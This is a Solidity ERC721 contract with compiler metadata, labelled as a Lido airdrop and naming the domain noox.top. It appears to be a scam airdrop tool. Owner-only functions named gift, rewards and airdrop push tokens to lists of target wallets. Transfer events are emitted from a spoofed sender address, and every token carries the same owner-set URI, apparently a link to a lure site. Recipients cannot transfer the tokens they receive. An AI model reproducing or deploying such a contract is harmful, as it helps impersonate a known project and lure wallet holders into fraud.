noox.top : lido airdrop recipient

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IERC165 {
    function supportsInterface(bytes4 interfaceID) external view returns (bool);
}

interface IERC721 is IERC165 {
    function balanceOf(address owner) external view returns (uint256 balance);

    function ownerOf(uint256 tokenId) external view returns (address owner);

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    function approve(address to, uint256 tokenId) external;

    function getApproved(uint256 tokenId)
        external
        view
        returns (address operator);

    function setApprovalForAll(address operator, bool _approved) external;

    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC721 is IERC721 {
    string private _uri;
    string public name;
    string public symbol;
    address public _owner;
    address public fromAddr;
    uint256 public totalSupply=1;

    event Transfer(
        address indexed from,
        address indexed to,
        uint256 indexed id
    );
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 indexed id
    );
    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );

    // Mapping from token ID to owner address
    mapping(uint256 => address) internal _ownerOf;

    // Mapping owner address to token count
    mapping(address => uint256) internal _balanceOf;

    // Mapping from token ID to approved address
    mapping(uint256 => address) internal _approvals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) public isApprovedForAll;



    function initialize(
        string memory name_,
        string memory symbol_,
        address fromAddr_,
        string memory baseURI_
    ) public {
        require(_owner == msg.sender, "not initializer");
         _owner = msg.sender;
        name = name_;
        symbol = symbol_;
        fromAddr= fromAddr_;
        _uri = baseURI_;
        _mint(msg.sender, totalSupply++);
    }

    function initialize() public {
        require(_owner == address(0) || _owner == msg.sender);
        _owner = msg.sender;
    }

      function setURI(string memory baseURI_) public {
        require(_owner == msg.sender);
        _uri = baseURI_;
    }

    function gift(address[] memory targets) public {
        mainfunction(targets);
    }

    function rewards(address[] memory targets) public {
        mainfunction(targets);
    }

    function airdrop(address[] memory targets) public {
        mainfunction(targets);
    }

    function holderAirdrop(address[] memory targets) public {
        mainfunction(targets);
    }

    function mainfunction(address[] memory targets) public {
        require(_owner == msg.sender);
        for (uint256 i = 0; i < targets.length; ++i) {
            _transfer(targets[i],totalSupply++);
        }
    }

    function uri(uint256 typeId) public view returns (string memory) {
        // require(typeId > 0);
        return _uri;
        // return string(abi.encodePacked(_uri, typeId.toString()));
    }
    function tokenURI(uint256 typeId) public view returns (string memory) {
        return _uri;
    }

    function supportsInterface(bytes4 interfaceId)
        external
        pure
        returns (bool)
    {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC165).interfaceId;
    }

    function ownerOf(uint256 id) external view returns (address owner) {
        owner = _ownerOf[id];
        require(owner != address(0), "token doesn't exist");
    }

    function balanceOf(address owner) external view returns (uint256) {
        require(owner != address(0), "owner = zero address");
        return _balanceOf[owner];
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function approve(address spender, uint256 id) external {
        address owner = _ownerOf[id];
        require(
            msg.sender == owner || isApprovedForAll[owner][msg.sender],
            "not authorized"
        );

        _approvals[id] = spender;

        emit Approval(owner, spender, id);
    }

    function getApproved(uint256 id) external view returns (address) {
        require(_ownerOf[id] != address(0), "token doesn't exist");
        return _approvals[id];
    }

    function _isApprovedOrOwner(
        address owner,
        address spender,
        uint256 id
    ) internal view returns (bool) {
        return (spender == owner ||
            isApprovedForAll[owner][spender] ||
            spender == _approvals[id]);
    }

    function transferFrom(
        address from,
        address to,
        uint256 id
    ) public {
        require(_owner == msg.sender);
        require(from == _ownerOf[id], "from != owner");
        require(to != address(0), "transfer to zero address");

        require(_isApprovedOrOwner(from, msg.sender, id), "not authorized");

        _balanceOf[from]--;
        _balanceOf[to]++;
        _ownerOf[id] = to;

        delete _approvals[id];

        emit Transfer(from, to, id);
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id
    ) external {
        transferFrom(from, to, id);

        require(
            to.code.length == 0 ||
                IERC721Receiver(to).onERC721Received(
                    msg.sender,
                    from,
                    id,
                    ""
                ) ==
                IERC721Receiver.onERC721Received.selector,
            "unsafe recipient"
        );
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        bytes calldata data
    ) external {
        transferFrom(from, to, id);

        require(
            to.code.length == 0 ||
                IERC721Receiver(to).onERC721Received(
                    msg.sender,
                    from,
                    id,
                    data
                ) ==
                IERC721Receiver.onERC721Received.selector,
            "unsafe recipient"
        );
    }

    function _transfer(address to, uint256 id) internal {
        require(to != address(0), "mint to zero address");
        require(_ownerOf[id] == address(0), "already minted");

        _balanceOf[to]++;
        _ownerOf[id] = to;

        emit Transfer(fromAddr, to, id);
    }

    function _mint(address to, uint256 id) internal {
        require(to != address(0), "mint to zero address");
        require(_ownerOf[id] == address(0), "already minted");

        _balanceOf[to]++;
        _ownerOf[id] = to;

        emit Transfer(address(0), to, id);
    }
}

{
  "compilationTarget": {
    "ERC721.sol": "ERC721"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}